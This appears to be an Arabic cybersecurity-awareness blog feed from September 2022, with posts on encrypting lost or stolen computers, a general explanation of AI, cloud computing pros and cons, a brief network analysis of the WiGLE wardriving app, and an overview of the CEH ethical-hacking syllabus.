إن إجابة طفلك على رسائل من قبل غرباء سيعرضه للخطر في حال كانت الجهة هدفها الاستدراج أو الحصول على معلومات خاص بالأسرة

يعد هذا الاسلوب هو الأكثر كون المجرمون محترفين في استخدام أساليب الهندسة الإجتماعية وانتحال الشخصية وهذا حتماً أمر صعب إكتشافه من قبل الأطفال.

الخلاصة

لا يمكن المبالغة في أهمية تعليم السلامة الرقمية لطفلك, العالم الذي نعيش فيه يتغير والعصر الرقمي يتغير معه لذا من المهم أن نعلم أطفالنا كيف يكونوا آمنين في هذه البيئة الجديدة.

لكن يجب الانتباه إلى أن الأطفال لديه حب المعرفة والإستكشاف لذا من الأصح التحدث لهم بطريقة لطيفة ومحاولة إقناعهم لما يجب عليهم إتباع هذه الإرشادات عوضاً عن الإجبار.

المخاطر الرقمية من سرقة أو فقدان الأجهزة الحاسوبية

Wed, 21 Sep 2022 16:07:42 GMT

عند سرقة حاسوب أو فقدانه يمكن الوصول إلى ملفاته وحساباته المفتوحة وبيانات المتصفح، ولا تكفي كلمة سر نظام التشغيل أو كلمة سر BIOS لأن المهاجم يستطيع تجاوزها أو نزع القرص الصلب. الحماية الفعلية هي تشفير القرص بأدوات مثل BitLocker أو FileVault أو VeraCrypt، أو تشفير ملفات محددة، أو استخدام نظام Live مثل Tails، مع تشفير وسائط التخزين المحمولة.

تتكرر حوادث فقدان أجهزة الحاسب اضافة إلى حوادث السرقة للأجهزة أو وسائط التخزين (Flash Memory, Memory Stick , External Hard Drive) الأمر الذي يؤدي للوصول إلى معلومات وبيانات شخصية ذات حساسية عالية، كذلك الوصول إلى ملفات يمكن أن تُلحق الضرر بالأشخاص في حال وقوعها في أيدي مجرمي الانترنت.

في هذا المقال سنناقش السيناريوهات التي يمكن أن تحدث عند سرقة أو ضياع أجهزة الحاسب ووسائط التخزين.

السيناريو الأول: عدم وجود كلمة سر لنظام التشغيل

في هذه الحالة، يمكن ﻷي شخص أو جهة:

الوصول إلى جميع الملفات والمعلومات الموجودة داخل الجهاز.
الوصول إلى جميع الحسابات المفتوحة داخل متصفح الانترنت (مثل فيسبوك، تويتر، واتس أب، انستاغرام وغيرها) إضافة إلى الحسابات المفتوحة من خلال تطبيقات مثل تلغرام، زووم، سيغنال وغيرها.
الوصول إلى جميع البيانات المحفوظة داخل متصفح الانترنت (مثل: كلمات السر – بيانات البطاقات البنكية وبيانات الدفع الإلكتروني – تاريخ التصفح)

السيناريو الثاني: وجود كلمة سر لنظام التشغيل

يعتبر وجود كلمة سر لنظام التشغيل أمر ضروري وجيد، لكنه غير كافٍ، يمكن وبسهولة إلغاء كلمة السر وفتح نظام التشغيل (ويندوز، ماك، لينكس) وبالتالي الوصول إلى كافة محتويات الجهاز المذكورة في السيناريو الأول

السيناريو الثالث: وجود كلمة سر إقلاعية BIOS

تعتبر هذه الطريقة أفضل من ناحية الحماية من السيناريو السابق ولكن يمكن للمهاجم أن يقوم بنزع القرص الصلب وتشغيله ضمن نظام آخر وبالتالي الوصول لكل المعلومات والبيانات كما هو الحال في السيناريو الأول

ما الذي يمكن القيام به لحماية الملفات والمعلومات الموجودة على جهاز الكمبيوتر في حال سرقته أو ضياعه؟

يوجد عدة خيارات يمكن اللجوء إليها والتي تحول دون الوصول غير المصرح به إلى بيانات ومحتويات الجهاز في حال سرقته أو ضياعه.

الخيار الأول: تشفير القرص الصلب

يؤدي تشفير القرص الصلب إلى:

منع إلغاء (أو تخطي) كلمة السر الخاصة بالجهاز.
إعاقة الوصول إلى البيانات و الملفات الموجودة على القرص الصلب أو نظام التشغيل – الأمور المذكورة في “الحالة الأولى: عدم وجود كلمة سر لنظام التشغيل”.
عدم القدرة على استعادة الملفات المحذوفة من الجهاز.

يمكن تشفير نظام التشغيل أو القرص الصلب بعدة طرق، منها:

برنامج بت لوكر BitLocker – ﻷنظمة تشغيل ويندوز.

هو برنامج مدمج مع نظام التشغيل ويندوز Windows، يتيح تشفير الأقراص داخل النظام، لكنه متوفر في اصدارات محددة فقط من ويندوز هي: Pro و Enterprise و Education.

برنامج FileVault – لأجهزة ماك Mac.

هو برنامج مدمج مع نظام تشغيل ماك Mac، يتيح تشفير نظام التشغيل أو القرص الصلب وهو متوفر في جميع إصدارات نظام التشغيل ماك Mac.

برنامج VeraCrypt – لجميع أنظمة التشغيل (ويندوز، ماك، لينكس)

هو برنامج مستقل يتيح تشفير القرص الصلب، ويمكن تثبيته على أنظمة التشغيل ويندوز أو ماك أو لينكس.

كما يمكن استخدام فيرا كريبت في أجهزة ويندوز كبديل عن بت لوكر BitLocker في الأجهزة التي لا تدعمه.

الخيار الثاني: تشفير الملفات والمجلدات داخل الجهاز

في حال عدم القدرة أو عدم الرغبة في تشفير كامل القرص الصلب، يمكن اللجوء إلى تشفير مجلدات أو ملفات محددة

في حال وصول جهة ما إلى ملفات الجهاز أو نظام التشغيل لا يمكنها الإطلاع على محتوى الملفات المشفرة.

يمكن تشفير الملفات بعدة طرق، على سبيل المثال من خلال برنامج فيرا كريبت VeraCrypt، حيث يتيح إمكانية إنشاء Container أو مجلد مشفر، يمكن وضع الملفات المراد حمايتها داخله ويتم تشفيرها بشكل تلقائي.

الخيار الثالث: استخدام نظام تشغيل من نوع Live System

تتيح بعض أنظمة التشغيل الحذف التلقائي لجميع الملفات والمعلومات عند إطفاء أو إعادة تشغيل النظام.

يوجد عدة أنظمة تشغيل تتيح هذا الخيار و منها نظام تشغيل Tails وهو نظام تشغيل يركّز على الخصوصية والأمان، كما أنه مزوّد بنظام مدمج يعمل على تشفير كافة اتصالات الإنترنت الصادرة والواردة من الجهاز معتمدة على شبكة Tor.

يمكن تثبيت نظام Tails على أي جهاز حاسب أو الإقلاع من خلال USB بشكل مباشر، كما يمكن استخدامه بشكل متوازي مع نظام ويندوز وماك، عند تشغيل الجهاز يتيح لك اختيار نظام التشغيل المطلوب

كيف يمكن حماية الملفات الموجودة على وسائط التخزين Data storage في حال سرقتها أو ضياعها؟

كما هو الحال مع أجهزة الحاسب يمكن حماية وسائط التخزين مثل فلاش ميموري أو Memory Stick أو القرص الصلب المحمول (الخارجي) External Hard Drive من خلال تشفير محتواها أو تشفيرها بشكل كامل وفي حال فقدانها لا يمكن الإطلاع على الملفات الموجودة بداخلها.

يمكن تشفير الملفات أو وسائط التخزين من خلال برنامج فيرا كريبت VeraCrypt، والذي يتيح الخيارات التالية:

إنشاء Container أو مجلد مشفر داخل وسائط التخزين، يمكن وضع الملفات المراد حمايتها داخله.
أو تشفير وسائط التخزين (Flash Memory, Memory Stick , External Hard Drive) بشكل كامل حيث لا يمكن الإطلاع على محتواها إلا من خلال كلمة السر.

الخلاصة

يجب عليك الإلتزام بقواعد الحماية والسلامة الرقمية وتطبيق إجراءات الحماية الاستباقية.

يمكنك الحصول على النصائح الخاصة بالأمن السيبراني والسلامة الرقمية من خلال منصة بوكيبيديا من خلال دليل الحماية الشامل في هذا الدليل الشامل سنقدم لك أكثر من مئة نصيحة حول الأمن السيبراني يمكنك من خلالها زيادة الحماية الخاصة بك على شبكة الانترنت وكل هذه النصائح هي قابلة للتطبيق، كل ما يتطلبه الأمر منك هو قضاء بعض الوقت لقراءة هذه النصائح وأخذها على محمل الجد وتطبيقها.

ما هو الذكاء الاصطناعي؟

Sun, 18 Sep 2022 17:37:12 GMT

الذكاء الاصطناعي هو قدرة الآلة على عرض قدرات شبيهة بالإنسان مثل التفكير والتعلم والتخطيط والإبداع، فيمكّن الأنظمة من إدراك بيئتها وحل المشكلات لتحقيق هدف محدد. يدخل اليوم في المساعدين الافتراضيين ومحركات البحث والتعرف على الوجه والسيارات ذاتية القيادة، ويساعد في كشف الهجمات الإلكترونية وتحليل البيانات الصحية.

الذكاء الاصطناعي هو قدرة الآلة على عرض قدرات شبيهة بالإنسان مثل التفكير والتعلم والتخطيط والإبداع

يمكّن الذكاء الاصطناعي الأنظمة التقنية من إدراك بيئتها والتعامل معها لحل المشاكل والعمل لتحقيق هدف محدد

كما يمكن تعريف الذكاء الاصطناعي على أنه سلوك وخصائص معينة تتسم بها البرامج الحاسوبية وتجعلها تحاكي القدرات الذهنية البشرية وأنماط عملها، من أهم هذه الخصائص القدرة على التعلم والاستنتاج ورد الفعل على أوضاع لم تبرمج مسبقاً

تعتبر أنظمة الذكاء الاصطناعي قادرة على تكييف سلوكها إلى درجة معينة من خلال تحليل تأثيرات الإجراءات السابقة والعمل بشكل مستقل.

لماذا يعتبر الذكاء الاصطناعي مهماً؟

هناك العديد من قصص النجاح التي تثبت قيمة الذكاء الاصطناعي، العديد من الشركات التي تضيف الذكاء الاصطناعي (التعلم الآلي والتفاعل الإدراكي) إلى عمليات الأعمال التقليدية والتطبيقات يمكنها أن تحسّن بشدة من تجربة المستخدم وتعزز من الإنتاجية

يُنظر إلى الذكاء الاصطناعي على أنه عنصر أساسي في التحول الرقمي للمجتمع وقد أصبح من أولويات العديد من الدول كما أنه من المتوقع أن تحدث التطبيقات المستقبلية تغييرات هائلة، لكن الذكاء الاصطناعي موجود بالفعل في حياتنا اليومية، إليك بعض الأمثلة:

أنواع الذكاء الاصطناعي

البرمجيات
المساعدين الافتراضيين
برامج تحليل الصور
محركات البحث
أنظمة التعرف على الكلام والوجه
الروبوتات
السيارات ذاتية القيادة
الطائرات بدون طيار
إنترنت الأشياء

فيما يلي بعض تطبيقات الذكاء الاصطناعي التي قد لا تدرك أنها مدعومة بالذكاء الاصطناعي:

التسوق والإعلان عبر الإنترنت

يستخدم الذكاء الاصطناعي على نطاق واسع لتقديم توصيات مخصصة للأشخاص، على سبيل المثال: الاعتماد على عمليات البحث والمشتريات السابقة أو أي سلوك آخر عبر الإنترنت، هذا الأسلوب مستخدم من قبل الشركات لاستهداف الأشخاص بإعلانات موجهة

البحث في الويب

تتعلم محركات البحث من المدخلات الهائلة للبيانات التي يقدمها المستخدمون لتقديم نتائج البحث ذات الصلة.

المنازل والمدن والبنية التحتية الذكية

يأمل مطورو المدن الذكية في تنظيم حركة المرور لتحسين الاتصال بين المدن وتقليل الاختناقات المرورية.

الأمن السيبراني

يمكن أن تساعد أنظمة الذكاء الاصطناعي في التعرف على الهجمات والتهديدات الإلكترونية والتخفيف منها بالاعتماد على مراقبة حركة البيانات والسلوك والتعرف على أنماط الهجمات وتعقبها.

الصحة

يدرس الباحثون كيفية استخدام الذكاء الاصطناعي لتحليل كميات كبيرة من البيانات الصحية واكتشاف الأنماط التي يمكن أن تؤدي إلى اكتشافات جديدة في الطب وطرق تحسين التشخيص الفردي.

على سبيل المثال: طور الباحثون برنامجاً للذكاء الاصطناعي للرد على مكالمات الطوارئ التي تعد بالتعرف على السكتة القلبية أثناء المكالمة بشكل أسرع وأكثر تكراراً من المراسلين الطبيين.

في النهاية

من المتوقع أن يتصدر الذكاء الاصطناعي والتعلم الآلي قوائم أهم المهارات في سوق العمل في أواخر عام 2026.

من المتوقع أيضاً أن تزداد الوظائف التي تتطلب مهارات الذكاء الاصطناعي أو التعلم الآلي بنسبة 71٪ في السنوات الخمس المقبلة إذا كنت ترغب في توسيع قاعدتك المعرفية في هذا المجال ففكر في بعض عروض الدورات التدريبية المجانية الرائعة عبر الإنترنت التي تركز على مهارات الذكاء الاصطناعي.

ما هي الحوسبة السحابية؟

Sat, 17 Sep 2022 21:11:43 GMT

الحوسبة السحابية طريقة لتخزين البيانات والوصول إليها وإلى البرامج والموارد من أي مكان عبر الإنترنت. من فوائدها خفض التكاليف وقابلية التوسع واستمرارية الأعمال والنسخ الاحتياطي الآلي، وأبرز مزوديها AWS وMicrosoft Azure وGoogle Cloud. أما مساوئها فتشمل الاعتماد الدائم على الإنترنت، وصعوبة الاسترداد، وفقدان البيانات أو تسربها، وهجمات منع الخدمة.

الحوسبة السحابية هي طريقة لتخزين البيانات والوصول إليها من أي مكان في العالم كما تسمح لنا بالوصول للبرامج والأجهزة والموارد الأخرى من أي مكان في العالم.

تتيح الحوسبة السحابية للأشخاص مشاركة المعلومات مع بعضهم البعض من خلال أجهزتهم، كما تتيح أيضاً للأشخاص تخزين بياناتهم عبر مواقع الإنترنت ويمكنهم بعدها الوصول إليها من أي جهاز.

تتمتع الحوسبة السحابية بالعديد من الميزات لكل من الأفراد والشركات، تتمثل إحدى مزايا الشركات بأنها تستطيع إدارة بياناتها بكفاءة أكبر وتوفير المال بدل شراء الأجهزة باهظة الثمن مثل السيرفرات التي تعد مطلوبة للتخزين في الموقع.

فوائد الحوسبة السحابية للشركات والأفراد

تقدم الحوسبة السحابية مزايا متنوعة للشركات مثل قابلية التوسع والمرونة والفعالية من حيث التكلفة والموثوقية ومع ذلك، فإن هذه الفوائد تأتي بتكلفة لا تأخذها الشركة في الاعتبار في كثير من الأحيان، تعد الحماية و الأمان أحد أكبر اهتمامات المؤسسات وخدمات الحوسبة السحابية.

أبرز الفوائد

انخفاض التكاليف

قد يؤدي الانتقال إلى الحوسبة السحابية إلى تقليل تكلفة إدارة أنظمة تكنولوجيا المعلومات وصيانتها، بدلاً من شراء أنظمة ومعدات باهظة الثمن لعملك، يمكنك تقليل تكاليفك باستخدام موارد مزود خدمة الحوسبة السحابية

قد تتمكن من تقليل تكاليف التشغيل للأسباب التالية:

يتم تضمين تكلفة ترقيات النظام والأجهزة والبرامج الجديدة في العقد الخاص بك
لم تعد بحاجة إلى دفع أجور الموظفين و الخبراء لتشغيل أنظمتك
يتم تقليل تكاليف استهلاك الطاقة الخاصة بك
هناك عدد أقل من التأخيرات الزمنية.

قابلية التوسع

يمكن لشركتك توسيع نطاق احتياجات التشغيل والتخزين لديك أو تصغيرها بسرعة لتناسب وضعك، مما يتيح المرونة مع تغير احتياجاتك وبدلاً من شراء ترقيات باهظة الثمن وتثبيتها بنفسك، يمكن لمزود خدمة الحوسبة السحابية التعامل مع هذا الأمر نيابةً عنك

يوفر استخدام الحوسبة السحابية وقتك حتى تتمكن من متابعة إدارة عملك الأخرى

استمرارية الأعمال

تعد حماية بياناتك وأنظمتك جزء مهم من التخطيط لاستمرارية الأعمال. سواء كنت تواجه كارثة طبيعية أو انقطاع التيار الكهربائي أو أزمة أخرى فإن تخزين بياناتك في السحابة يضمن نسخها احتياطياً وحمايتها في مكان آمن وهذا الأمر يتيح لك القدرة على الوصول إلى بياناتك مرة أخرى بسرعة لمتابعة الأعمال كالمعتاد وهذا يساعد على التقليل من أي توقف أو فقدان للإنتاجية.

نسخ احتياطي / استعادة للملفات والبيانات بشكل آلي

النسخ الاحتياطي السحابي هو خدمة يتم فيها نسخ البيانات والتطبيقات الموجودة على خوادم الأعمال احتياطياً وتخزينها على خادم بعيد

تختار الشركات النسخ الاحتياطي إلى السحابة للاحتفاظ بالملفات والبيانات المتاحة بسهولة في حالة فشل النظام أو انقطاع التيار أو حدوث كارثة طبيعية.

يمكن للمستخدمين أيضاً القيام بذلك على الخوادم الخاصة للشركات التي تقدم هذه الخدمة

أفضل مزودي خدمة الحوسبة السحابية

تتمثل إحدى الصعوبات في إدراج أفضل الشركات السحابية في الإجابة عن السؤال التالي:

أفضل الشركات السحابية من أجل ماذا؟

هناك العديد من الاستخدامات المؤسسية المتكاملة بشكل أساسي للسحابة في عام 2022، من الوصول إلى برامج الموارد البشرية إلى استضافة البنية التحتية للأنظمة الخاصة بك، لذلك سوف نقوم بالإجابة على هذا السؤال من الناحية العامة وذكر أسماء موفري الخدمة في جميع التي تلبي المتطلبات السابقة

AWS

تمتد خدمات Amazon Web Services AWS لتشمل 87 من مناطق توافر الخدمات في 27 منطقةً جغرافيةً حول العالم، مع وجود خطط مُعلنة لتغطية 21 من مناطق توافر الخدمات الأخرى و7 مناطق أخرى في أستراليا وكندا والهند والأراضي المحتلة في فلسطين ونيوزيلندا وإسبانيا وسويسرا.

وتتفوق AWS على كل الجهات الأخرى المقدمة للخدمات السحابية من حيث توفير المزيد من الخدمات والمزيد من المزايا بما في ذلك خدمات الحوسبة والتخزين وقواعد البيانات والاتصال عبر الشبكات ومخازن البيانات وتحليلاتها وتقنية تعلم الآلة والذكاء الاصطناعي وإنترنت الأشياء (IoT) والحماية والأمان والمزيد غير ذلك.

كما أنها تعتبر رقم واحد من حيث سرعة الإستجابة في برنامج خدمة العملاء.

Microsoft Azure

يحتل Azure من Microsoft المرتبة الثانية من حيث الإيرادات، لكن Azure هو في الأساس منافس مباشر مع الذئب الكبير Amazon Web Services. وتكمن قوته من الهيمنة الطويلة لنظام التشغيل Windows والعديد من تطبيقات شركة Microsoft الأخرى

تتمتع Azure بموقع جيد لخدمة عملاء السحابة حيث أصبحت الأتمتة والذكاء الاصطناعي مهيمنين حيث تعتبر Azure MachineLearning منصة كاملة الميزات تتيح إنشاء جميع أنواع الخوارزميات المخصصة وحلول تعلم الآلة.

Google Cloud

تحتل منصة جوجل السحابية (GCP) المركز الثالث خلف AWS و Microsoft Azure، وتمتاز بتقديم Infrastructure as a service – IaaS البنية التحتية كخدمة قوية تقنيات عميقة من الهيمنة في سوق البحث.

بدءاً من القوة في الشبكات والأتمتة يقدم برنامج شركاء جوجل المعتمدون Google Certified Partner أعظم قوة في مجال الذكاء الاصطناعي والتعلم الآلي وعلى وجه الخصوص تحليل البيانات

تاريخياً، لم يكن هذا البرنامج متوافق بشكل جيد مع عملاء المؤسسات وهو وضع تعمل الشركة على تصحيحه.

مساوئ الحوسبة السحابية

رغم تلك الفوائد أعلاه لكن للحوسبة السحابية مساوئ فما هي؟

تعتمد على الاتصال بالإنترنت في جميع الأوقات

بينما ينتج معظم موفري الاتصال وقت تشغيل بنسبة 99.99٪ لكي لا ينقطع الاتصال بالانترنت ولكن هناك دائماً احتمال حدوث كارثة طبيعية أو مشكلة في الفواتير أو خط متقطع بسبب البناء المحلي أو نشاط مشابه أو انقطاعات بسبب مشاكل أخرى

الملفات سهلة التخزين ولكنها ليست سهلة الاسترداد والتنزيل

عند العمل مع الملفات والصور ومقاطع الفيديو وسجلات البيانات والمعلومات الأخرى المخزنة في السحابة، تأكد من فهمك لقواعد وقيود الدخول والخروج. تحتوي عناصر التحكم في خدمة VPC – Virtual Private Cloud على عدد من قواعد الدخول والخروج للسماح بالوصول إلى الموارد والعملاء المحمية بواسطة محيط الخدمة وإليها

على سبيل المثال، قواعد الدخول والخروج من تخزين Google Cloud Platform شاملة إلى حد ما وتشرح قائمة طويلة من الموضوعات الفرعية، بما في ذلك نماذج السياسة وأمثلة طلبات واجهة برمجة التطبيقات وغير ذلك.

وبالمثل، فإن Amazon Web Services لديها مجموعة قواعد VPC الخاصة بها، كما هو الحال مع Microsoft Azure. و قد يؤدي عدم فهم هذه القواعد إلى ضياع الوقت والجهد للمستخدم أو الشركة.

فقدان البيانات أو السرقة وتسرب البيانات

عندما تقوم بتخزين الملفات والبيانات في خادم شخص آخر، فإنك تضع كل ثقتك بهذه الجهة، يشير مصطلح فقدان البيانات إلى الإزالة غير المرغوب فيها للمعلومات الحساسة، إما بسبب خطأ في نظام المعلومات أو السرقة من قبل مجرمي الإنترنت.

بينما يشير المصطلح تسرب البيانات إلى العرض أو الكشف الغير مصرح به لمعلومات حساسة من خلال استغلال نقاط الضعف في الأنظمة والشبكات

تحدث تهديدات تسرب البيانات عادةً عبر الويب والبريد الإلكتروني، ولكن يمكن أن تحدث أيضاً عبر أجهزة تخزين البيانات المحمولة، مثل مفاتيح USB وأجهزة الكمبيوتر المحمولة وربما السحابة أيضاً!

هجمات منع الخدمة DOS

(DoS) هو هجوم يهدف إلى إغراق الشبكة أو النظام الهدف بعدد كبير جداً من الطلبات مما يجعل الوصول إليها غير ممكن من قبل المستخدم الشرعي ويتم هذا الأمر من خلال إغراق الهدف بكمية كبيرة من حركة البيانات أو إرسال معلومات تؤدي إلى حدوث عطل ما

مستخدمو الخدمة السحابية لديهم سيطرة قليلة أو معدومة ضد هجمات منع الخدمة

تحليل التطبيق الذي حذرت منه الهيئة الوطنية لخدمات الشبكة

Fri, 09 Sep 2022 21:55:16 GMT

حذرت الهيئة الوطنية لخدمات الشبكة في سوريا من تطبيق WiGLE WiFi Wardriving لأنه يجمع معلومات الشبكات اللاسلكية ومواقعها الجغرافية. يطلب التطبيق صلاحية الموقع وصلاحية الصور والملفات التي قد تُعد سلوكاً خبيثاً، ويرصد الشبكات وأبراج الاتصالات ثم يرسل البيانات مشفرة عبر HTTPS إلى خادم تابع لغوغل.

حذرت الهيئة الوطنية لخدمات الشبكة عبر صفحتها على الفيسبوك من تطبيق WiGLE WiFi Wardriving وكان نص المنشور كالتالي:

تحذر الهيئة الوطنية لخدمات الشبكة جميع المواطنين السوريين من استخدام تطبيق WIGLE WIFI على هواتفهم المحمولة المستخدمة ضمن أراضي الجمهورية العربية السورية، حيث تكمن خطورة التطبيق في جمع معلومات عن كافة الإشارات اللاسلكية الشبكية ومواقعها الجغرافية، والمنشآت التي تستخدم هذه الإشارات اللاسلكية، كما يشكل التطبيق أداة اختراق للهواتف المحمولة والشبكات اللاسلكية المتصلة بها.

نهيب بجميع الأخوة المواطنين بمختلف شرائحهم وأماكن تواجدهم الوعي والتعامل بجدية مع هذا التحذير وعدم استخدام هذا التطبيق المحظور أو نشره تحت أي ظرف أو مبرر أو التعامل مع الأطراف المشغلة أو التي قد تستفيد من استخدام هذا التطبيق ضمن الشبكة السورية، وعدم الإنجرار خلف الأصوات التي تحاول التقليل من شأن التحذيرات الأمنية التي تطلقها الهيئة، وإن أمننا المعلوماتي هو مسؤولية جماعية تتحقق بتضافر كافة الجهود مهما صغرت، فإن لم تكن أنت الهدف قد تكون الوسيلة، وإن استخدام هذا التطبيق يعرضك للمساءلة القانونية كونه أداة للإضرار بالدولة ومنشآتها ومواطنيها.

تحليل سريع للتطبيق

في البداية لنتعرف على دلالة اسم التطبيق ومعنى كلمة Wardriving

WarDriving

هي عملية استخدام أداة اكتشاف للبحث عن إشارات الشبكات اللاسلكية

في كثير من الأحيان يشير هذا المصطلح إلى شخص يبحث عن شبكات لاسلكية غير مصرح له بالوصول إليها وتتم هذه العملية من خلال إجراء مسح للوسط الراديوي للموقع لأغراض ربما تكون ضارة أو على الأقل غير مصرح بها

يمكن إجراء هذا الهجوم باستخدام أجهزة محمولة باليد أو بجهاز إلكتروني شخصي (PED – Personal Electronic Device) أو جهاز محمول مزود بإمكانيات Wi-Fi أو باستخدام جهاز حاسب محمول مزود بكرت شبكة لاسلكية له هوائي وهذا الأمر يمكن إجراؤه باستخدام الميزات الأصلية لنظام التشغيل أو باستخدام أدوات المسح للوسط الراديوي والكشف المتخصصة

بمجرد اكتشاف وجود الشبكات اللاسلكية فإن الخطوة التالية هي تحديد ما إذا كانت الشبكة مفتوحة أم مغلقة، لا توجد قيود تقنية على الشبكة المفتوحة ويمكن للأجهزة الاتصال بها بالمقابل يوجد للشبكة المغلقة قيود تقنية لمنع الاتصالات غير المصرح بها و إذا كانت الشبكة مغلقة فقد يحاول المهاجم التخمين أو كسر التقنيات التي تمنع الاتصال

صلاحيات التطبيق

يتطلب التطبيق صلاحيات للوصول لمكانك الجغرافي (آلية عمل التطبيق تحتاج لهذا الأمر) كما يتطلب التطبيق صلاحية الوصول إلى الصور والملفات (وهذا الأمر يمكن ان يعتبر سلوك خبيث)

يقوم التطبيق بتحديد معلومات الشبكات اللاسلكية المحيطة و معلومات أبراج الاتصالات التي يحصل الجهاز على الإشارة منها

يتصل التطبيق بسيرفر خارجي تابع لشركة غوغل (ممكن أن تكون الجهة المطورة للتطبيق تستخدم إحدى الخدمات السحابية أو التخزينية لشركة غوغل) ويتم إرسال المعلومات التي تم جمعها بشكل مشفر باستخدام البرتوكول HTTPS

اتصالات التطبيق كما ظهرت في أداة مراقبة الشبكة:

التطبيق	البروتوكول والمنفذ	الخادم	الحالة	الوقت	الحجم
WiGLE WiFi Wardriving	DNS, 53	clients4.google.com	Closed	23:40:19	418 B
WiGLE WiFi Wardriving	HTTPS, 443	clients4.google.com	Active	23:40:54	5.3 KB
WiGLE WiFi Wardriving	HTTPS, 443	clients4.google.com	Active	23:40:54	5.3 KB

تفاصيل أحد هذه الاتصالات:

الحقل	القيمة
App	WiGLE WiFi Wardriving (10135)
Protocol	HTTPS (TCP)
SNI	clients4.google.com
Destination	216.58.211.206:443
Status	Active
Traffic	2.7 KB received — 2.6 KB sent
Packets	8 received — 9 sent
Payload	4.6 KB
Duration	34 s
First seen	09/09/22 23:40:19.395
Last seen	09/09/22 23:40:54.335

في هذا المقال قمنا بتحليل أولي سريع لهذا التطبيق، سنشارك معكم جزء ثاني يحوي على تحليل مفصل لعمل التطبيق والمعلومات التي يقوم بالوصول لها وإرسالها وخطورة هذا الأمر على المستوى الشخصي وعلى مستوى الأمن العام مع نصائح الحماية والتوعية الأمنية

شهادة الهاكر الأخلاقي CEH

Fri, 09 Sep 2022 09:01:28 GMT

شهادة CEH تدرّب متخصص أمن المعلومات على تكتيكات وتقنيات وإجراءات الهاكر الخبيث (TTP) لاكتشاف نقاط الضعف وإصلاحها. يتكون البرنامج من 20 محورًا نظريًا وعمليًا تغطي مراحل الاستطلاع والفحص والوصول والمحافظة عليه ومسح الآثار، ويفتح الباب لأكثر من 20 مسمى وظيفي، ويتطلب معرفة مسبقة بأساسيات أنظمة التشغيل والشبكات.

الهاكر الأخلاقي هو متخصص في أمن المعلومات يتم تدريبه لتحديد نقاط الضعف في الشبكات والتخفيف من حدتها وتأثيرها وإجراء تقييمات للحماية و الأمان لمنع انتهاكات وخروقات وتسريبات البيانات

الهاكر الأخلاقي هو مسار وظيفي واعد مع فرص نمو واسعة النطاق

يحمل الهاكر الأخلاقي المعتمد ألقاب وظيفية مختلفة في مجال الأمن السيبراني، عمله الأساسي أمر بالغ الأهمية لاختبار حماية أصول الشركات وتأمينها

يتم تدريب الهاكر الأخلاقي على نفس التكتيكات والتقنيات والإجراءات TTP – Tactics, Techniques, and Procedures التي يستخدمها الهاكر الخبيث / ذو القبعة السوداء لاختراق أنظمة المؤسسات من خلال عملية منهجية قابلة للتكرار للكشف عن نقاط الضعف وإصلاحها

برنامج تدريب CEH

ينقسم البرنامج التدريبي إلى 20 وحدة وتحوي كل وحدة على أساسيات نظرية عميقة بالإضافة لتطبيقات عملية واسعة النطاق تتيح لك ممارسة الأساليب والإجراءات على أنظمة وبيئات محاكاة ضمن سيناريوهات عملية حقيقية

برنامج تدريب الهاكر الأخلاقي هو أكثر برامج الأمن السيبراني شمولاً والذي يوازن بين كل المحاور لإعداد مهندس حماية يتمتع بالمعرفة والمهارة وهذا الأمر ما يجعل هذه الشهادة فريدة من نوعها بالمقارنة مع المجالات الأخرى

مراحل عملية اختبار الاختراق (الهاكر الأخلاقي)

معرفة المراحل الخمسة لعملية اختبار الاختراق (الهاكر الأخلاقي) هو أمر بالغ الأهمية لأي منظمة، كلما عرفت بشكل أكثر عما يرغب المهاجم بفعله كلما حصلت على خطوات استباقية للحماية بشكل أكبر

مرحلة الاستطلاع Reconnaissance: أو (جمع المعلومات) وهي المرحلة الأولى لأي عملية اختبار اختراق والتي تهدف لجمع المعلومات عن الهدف قبل شن الهجوم
مرحلة الفحص Scanning: تتم من خلال استخدام أدوات مختلفة لجمع المعلومات عن مواقع الويب و الشبكات وأنظمة التشغيل بهدف اكتشاف نقاط الضعف والثغرات
الوصول للنظام Gaining Access: تشير إلى إمكانية المهاجم للوصول إلى النظام أو التطبيق أو الجهاز الموجود على الشبكة
المحافظة على الوصول Maintaining Access: تشير إلى استمرارية الوصول إلى النظام حتى بعد إعادة تشغيل الجهاز أو القيام بعملية تسجيل الخروج
مسح أو تغطية الآثار Covering Tracks: الهدف من هذه المرحلة هو حذف السجلات وإزالة أي أدوات أو أكواد برمجية أو تطبيقات تم تثبيتها أو استخدامها على النظام الهدف

كيف تفيدك هذه الأمور؟

فهم وتطبيق المراحل الخمسة لاختبار الاختراق يجعلك مستعد للبدء بالتفكير مثل المهاجم الحقيقي وهذا الأمر سيؤدي لعدم وقوعك أنت أو مؤسستك ضحية للهجمات

ما هي محاور التدريب؟

يحوي منهاج الشهادة على 20 محور وهي:

1- Introduction to Ethical Hacking

من خلال هذا المحور ستتعرف على الأمور الأساسية في عالم أمن المعلومات بما في ذلك اساسيات عملية اختبار الاختراق وضوابط أمن المعلومات والقوانين ذات الصلة والمعايير الأخرى

2- Footprinting and Reconnaissance

من خلال هذا المحور ستتعرف على كيفية استخدام أحدث التقنيات والأدوات للقيام بعمليات الاستطلاع وجمع المعلومات وتعتبر هذه المرحلة هي الحاسمة لنجاح أي هجوم (كلما كانت المعلومات المجموعة أكثر كلما زادت فرص نجاح الهجوم بشكل أكبر)

3- Scanning Networks

من خلال هذا المحور ستتعرف على التقنيات المختلفة لفحص الشبكات واكتشاف المنافذ المفتوحة والإجراءات المضادة لهذه العمليات

4- Enumeration

من خلال هذا المحور ستتعرف على تقنيات التعداد والاكتشاف المختلفة والإجراءات المضادة المرتبطة بها

5- Vulnerability Analysis

من خلال هذا المحور ستتعرف على طرق تحديد واكتشاف الثغرات الأمنية في البنية التحتية لشبكات الشركات وأجهزة العقد النهائية وتتضمن أنواع مختلفة من أدوات تقييم الضعف والثغرات

6- System Hacking

من خلال هذا المحور ستتعرف على منهجيات اختراق النظام المختلفة والمستخدمة لاكتشاف نقاط الضعف والثغرات في الأنظمة والشبكات بما في ذلك إخفاء المعلومات ومسح الآثار

7- Malware Threats

من خلال هذا المحور ستتعرف على الأنواع المختلفة للبرمجيات الخبيثة (حصان طروادة – الفيروسات – برامج الفدية …) مع تقنيات تحليل البرمجيات الخبيثة والإجراءات المضادة لها

8- Sniffing

من خلال هذا المحور ستتعرف على تقنيات إلتقاط حزم البيانات واستخدام هذه العملية لاكتشاف نقاط الضعف في الشبكات بالإضافة للإجراءات المضادة وطرق الحماية الاستباقية

